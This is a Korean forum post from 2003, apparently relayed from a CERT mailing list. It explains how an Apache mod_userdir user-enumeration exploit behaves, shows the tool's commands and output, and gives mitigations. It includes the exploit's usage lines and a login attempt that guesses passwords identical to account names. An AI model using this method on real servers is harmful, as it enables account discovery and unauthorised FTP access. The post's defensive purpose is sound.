웹마스터 팁

apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit이 등장했습니다.

여러가지 방법으로 테스트해보다가 아래와 같은 특징을 발견하여서 알려드리고자 합니다.

이번 exploit은 mod_userdir.c를 이용하는 것으로 httpd -l 로 검색해서
mod_userdir.c 모듈이 있으면 이번 공격에 취약합니다.

이 exploit은 일정한 조건과 userlist.txt를 통해서 매치되는 apache서버의
내부 사용자들의 계정을 알아낼수 있습니다.

(이것은 해커에게 좀더 쉽게 공격 대상의 계정 정보를 취득하게 할뿐만 아니라 계정과
동일한 패스워드를 사용하는 사용자가 있다면 그사용자로 인해 root 권한 까지도 빼앗길 수
있는 exploit 입니다.)


하지만 이 exploit은 다음과 같은 특징이 없다면 원격 사용자를 검색해 내지 못합니다.



1. mod_userdir.c가 있을경우에 해당 계정의 디렉토리 밑에 public_html 이 있을 경우에 탐지된다.

=================================

UserDir public_html

-------> 만약 UserDir www 라면 계정밑에 www 디렉토리가 있다면 탐지된다.

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 있을때)
test1 =>
[*] Searching complete.
2 users checked
1 users found

[*] Searching for system accounts...
test => no (계정밑에 public_html이 없을때)
=================================


2. 계정 디렉토리의 밑에 public_html 이 없어도 계정 디렉토리의 권한이 700이면 탐지된다.

=================================
public_html이 없어도 계정이 존재한다면 http 쿼리를 해보면 403 이란 반환
값을 얻을수 있다.

소스에 보면 200, 403, 404 대해서 분류가 되어있는데 그것은 아래와 같이 값
을 얻었을 때 계정의 유무를 판단하기

위한 것이다.

다음은 http 쿼리시 남은 로그이다.

127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test HTTP/1.1" 403 0
-> Forbidden
127.0.0.1 - - [18/Dec/2003:01:23:31 +0900] "HEAD /~test1 HTTP/1.1" 404 0
-> 페이지를 찾을수 없습니다.
127.0.0.1 - - [18/Dec/2003:01:30:54 +0900] "GET /~test/ HTTP/1.1" 200
345 -> 정상적인 동작시

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes ( public_html이 없이 계정 디렉토리의 권한이 700 일때)
test1 =>
[*] Searching complete.
2 users checked
1 users found

[*] Searching for system accounts...
test => no (계정의 권한이 700이 아닌 다른것일때 public_html은 없다.)
=================================



3. 계정 디렉토리의 권한이 755 이고, public_html이 존재하면 계정과 패스워
드가 동일하다면 ftp접속가능 여부도 알수있다.

=================================
아래의 test는 디렉토리 권한이 755이고, public_html이 존재하고 계정(test)
과 패스워드(test) 가 동일할때의 결과이다.

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest -b

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => yes
OS =>
[*] Searching for system accounts...
test => yes (test란 계정을 찾았고)
test1 =>
[*] Searching complete.
2 users checked
1 users found
[*] Attempting to log on ftp with login:login...
test:test => yes (ftp접속도 가능하다)
[*] Complete.
1 ftp accounts found
================================



위에서도 몇가지 해결책을 알아보았고,

다음과 같은 방법을 통해서도 이번 exploit에 대한 탐지를 막을수 있습니다.

1. 가상호스팅을 이용합니다. (DocumentRoot를 public_html로 주지않고 다른
디렉토리로 주게되면, 탐지를 막을수 있다.)
권한은 700으로 주지 않는다. (물론 웹을 이용할것이므로 700으로 주지는 않
을것이라 생각됨)
---------------------------

ServerAdmin test@manpage.co.kr
DocumentRoot /home/zmnkh/
ServerName test.manpage.co.kr

-----------------------------

2. /etc/passwd 파일을 640등으로 주어 소유자와 그룹소유자만이 읽을수 있도
록 하면 탐지 자체가 되지 않습니다.
-----------------------------
/etc/passwd의 권한을 변경한뒤에 실행

[root@manpage hack]# ./m00 -t localhost -u userlist.txt -l usertest

[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.

[*] Checking http server [localhost:80]...
Apache => yes
Vulnerable => no
[-] Exiting...
------------------------------

이때 /etc/passwd 파일을 640으로 해놓았을 경우 에러가 발생할 소지가 있으므로,
passwd를 읽어야 하는 일반 계정의 사용자들이 있을 경우에

/etc/group의 wheel 그룹에 등록하고,

chgrp wheel /etc/passwd 으로 /etc/passwd그룹을 변경하여 사용하면 무리없이
사용할수 있을 것입니다.


사용하기 편한 방법으로 exploit공격에 대비하시면 되겠습니다


출처 : CERTT 메일링(김훈)
제목 글쓴이 날짜
Windows XP 에서 Apache 2 + PHP 5 + SQLite 설치하기 [8] 엔젤퀸 2004.02.23
[XAMPP]한 컴퓨터에서 여러 개의 홈페이지 운영하는 방법(가상호스트 아님) [8] The Darkness 2004.02.05
procmail로 마이둠 웜(MyDoom Worm) 필터링 좋은진호 2004.02.04
[초보강좌] 윈도우 서버의 용량 제한~~!! [17] file HoYa™ 2004.01.08
리눅스 서버 설치 및 관리에 따른 초보경험담을 게시판에 담아... [1] eversun 2004.01.05
redhat 9.0에서의 qmail 설치 문서 비츠로 2004.01.04
apache 1.3.x-2.0.48 의 원격 유저 검색 취약점을 이용한 exploit [2] DearMai 2003.12.27
랜카드 상태 확인 및 연결 속도 변경 mii-tool 좋은진호 2003.12.19
Apache 2.X 버전의 한글문제와 새로운 방식의 APM 셋팅 [8] 최종우 2003.12.17
VirtualHost 안될때 [1] 이성헌 2003.12.16
유저 자동 셋팅 스크립트 Ver 2.0 [3] 김병철 2003.12.15
MySQL 퍼포먼스를 top명령어처럼 모니터링 mytop 좋은진호 2003.12.14
윈도우 2003에서의 APM+phpMyAdmin+MMCache설치법.. [1] 김수용 2003.12.13
iis에서 로그인창 뜨는 문제 해결방법 제시 [3] 함재식 2003.12.12
APM서버설치-XAMPP v1.2 [14] The Darkness 2003.12.05
리눅스 커널(kernel)에 심각한 보안 결함 발견 [1] 아치 2003.12.04
[C급]FrontPage Server Extensions 취약점으로 인한 임의코드 실행문제 ATpple.com 2003.11.12
[C급]Buffer Overrun in the Workstation 취약성 통한 코드 실행 ATpple.com 2003.11.12
[C급]Internet Explorer 다중 취약점 ATpple.com 2003.11.12
윈도우에 세팅한 서버에 설치된 phpmyadmin 에 인증걸기 [3] 피카추삼겹살 2003.11.05